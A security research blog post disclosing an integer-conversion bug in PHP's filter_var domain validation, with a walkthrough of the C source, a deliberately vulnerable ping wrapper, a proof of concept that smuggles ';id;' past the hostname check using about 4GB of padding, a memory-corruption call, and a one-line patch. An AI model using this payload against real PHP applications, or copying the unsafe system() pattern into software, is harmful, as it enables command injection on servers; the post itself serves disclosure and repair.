PHP filter_var shenanigans
It is likely that we have all seen PHP filters that prevent us from encountering vulnerabilities. Here in this blog post, I’ll walk you through my thought process for bypassing a filter by looking for a bug in the filter itself in order to reach a bug!
Let’s pretend we have the following code, which passes some user-input to filter_var()
and uses the FILTER_VALIDATE_DOMAIN
or FILTER FLAG HOSTNAME
flag. This adds the functionality to validate hostnames on a per-host rationale (this means that they must begin with an alphanumeric character and must contain only alphanumerics or hyphens throughout their entire length). Following the successful completion of this check, the user-input will be used in a system command (thus potentially introducing a command injection vulnerability). The code that is generated will resemble something like the following.
<?php
$userinput = "YOUR_USER_INPUT";
$command = "ping -c5 ";
if (filter_var($userinput, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME))
{
system($command . $userinput, $retval);
}
?>
Normally, it would not be possible to trigger this command injection in such a situation. Because our user’s input can only contain alphanumeric characters or a hyphen, it would be completely safe in this case.
The underlying code, however, is quite vulnerable, as we will see when we examine it in detail to see how the FILTER_VALIDATE_DOMAIN
function works in conjunction with the FILTER_FLAG_HOSTNAME
flag. Let’s take a look at how this works!
As soon as we call filter_var()
with the FILTER_VALIDATE_DOMAIN
flag, the function php_filter_validate_domain()
will be executed. Let’s take a closer look at what this means.
void php_filter_validate_domain(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */
{
if (!_php_filter_validate_domain(Z_STRVAL_P(value), Z_STRLEN_P(value), flags)) {
RETURN_VALIDATION_FAILED
}
}
/* }}} */
Essentially, what this does is obtain a pointer to the value of our $userinput
variable and pass it as the first argument to _php_filter_validate_domain
, as well as passing the output of strlen($userinput)
as the second argument to the same function. It is critical to note that the function strlen()
returns an unsigned integer in this case.
Now let’s take a look at the function signature of _php_filter_validate_domain
.
static int _php_filter_validate_domain(char * domain, int len, zend_long flags)
In this case, the second argument to this function is int len
, which indicates that it is a signed integer, whereas we were passing the output of strlen
, which indicates that it is an unsigned integer (size_t
), to it as the second argument. Do you see where I’m heading?
In order to comprehend this, we must first understand how integers function. When it comes to numerical variables, they can either be signed or unsigned depending on their ability to represent both positive and negative numbers. The difference between signed and unsigned variables is that signed variables can represent both positive and negative numbers, while unsigned variables can only represent non-negative numbers.
For example, if we assume that the architecture is 32 bits, then an unsigned integer’s value can range from 0
to 4294967295
due to the fact that it is unsigned, but an int’s value can only range from -2147483648
to 2147483648
due to the fact that it is signed. The result is that any value greater than 2147483647
will result in a negative number being passed to the function.
However, if we examine the _php_filter_validate_domain
function, we will notice that the variable l
is of type size_t
, and that the value len
has been assigned to this variable.
static int _php_filter_validate_domain(char * domain, int len, zend_long flags) /* {{{ */
{
char *e, *s, *t;
size_t l;
int hostname = flags & FILTER_FLAG_HOSTNAME;
unsigned char i = 1;
s = domain;
l = len;
e = domain + l;
t = e - 1;
The function takes len
as a int
(signed), and then assigns it to l
as a size_t
. This is demonstrated above. If we pass a string with a long length, such as 4294967296
, then the values for both len
and l
will be 0
’s because passing that value as an int will wrap to 0
. This means that s
(start) will have the same address as e
(end).
/* Ignore trailing dot */
if (*t == '.') {
e = t;
l--;
}
/* The total length cannot exceed 253 characters (final dot not included) */
if (l > 253) {
return 0;
}
We see that if t
(end-1) is .
then e
is written with the character .
, as if we were to pass a very large number to the function. Example: if we have 4294967250
, then the variable l
will wrap to 18446744073709551570
, which means we can write a .
out of bounds (OOB) A successful exploit would be very difficult. As a result, I decided against taking this route. Following that, we can see that it is checked to see if l
is greater than 253.. (Not a problem if we can force it to become 0
, right?).
/* First char must be alphanumeric */
if(*s == '.' || (hostname && !isalnum((int)*(unsigned char *)s))) {
return 0;
}
while (s < e) {
if (*s == '.') {
/* The first and the last character of a label must be alphanumeric */
if (*(s + 1) == '.' || (hostname && (!isalnum((int)*(unsigned char *)(s - 1)) || !isalnum((int)*(unsigned char *)(s + 1))))) {
return 0;
}
/* Reset label length counter */
i = 1;
} else {
if (i > 63 || (hostname && *s != '-' && !isalnum((int)*(unsigned char *)s))) {
return 0;
}
i++;
}
s++;
}
return 1;
}
The code shown above is the actual code that checks to see that the hostname only contains alphanumeric characters or a hyphen (as opposed to other characters). As we can see, this only occurs if s
is less than e
in the first place.
In simple terms: If a hostname is checked using PHP’s filter_var
function and the value passed to the function is too long, and the parameter l
is then wrapping to zero, the check will not be performed. This results in the hostname check being bypassed entirely.
Let’s demonstrate this using a simple PoC!
<?php
// normal usage
var_dump(filter_var("example.com", FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME));
// filter bypass
var_dump(filter_var("5;id;" . str_repeat("a", 4294967286) . "a.com", FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME));
// DoS/Memory corruption
var_dump(filter_var(str_repeat("a", 2294967286), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME));
?>
Thus, if we pass the following user-input to the program, we will be able to achieve code execution in the manner described in the first example.
$userinput = "5;id;" . str_repeat("a", 4294967286) . "a.com";
Victory! We were able to get around the filter and get to our vulnerable code this time around.
NOTE: Due to the lack of response from the PHP security team, I have decided to make this vulnerability publicly available instead. Especially because I haven’t received any updates despite numerous requests. Because of the ease with which the vulnerability can be exploited, I believe that the community has a right to be informed about it.
Because the PHP security team has not yet patched this issue, I have attached my own one-liner patch below, that you can apply with the command git am $patchfile
.
From 9c064e66226c9da5b9c0170342ba516055a31be5 Mon Sep 17 00:00:00 2001
From: Jordy Zomer <jordy@pwning.systems>
Date: Fri, 25 Mar 2022 18:03:34 +0100
Subject: [PATCH] Fix integer conversion that results in filter bypass.
Signed-off-by: Jordy Zomer <jordy@pwning.systems>
---
ext/filter/logical_filters.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/ext/filter/logical_filters.c b/ext/filter/logical_filters.c
index 91bf929a9d..96a6c72b56 100644
--- a/ext/filter/logical_filters.c
+++ b/ext/filter/logical_filters.c
@@ -504,7 +504,7 @@ void php_filter_validate_regexp(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */
}
}
-static int _php_filter_validate_domain(char * domain, int len, zend_long flags) /* {{{ */
+static int _php_filter_validate_domain(char * domain, size_t len, zend_long flags) /* {{{ */
{
char *e, *s, *t;
size_t l;
--
2.32.0
There are some limitations to this exploit, for example, the user input must be 4GB in size (which is a large amount of data and may not be possible due to the configuration of some webservers and load balancers).
As always, I hope you found this post to be interesting. Any and all feedback is appreciated :)
Cheers,
Jordy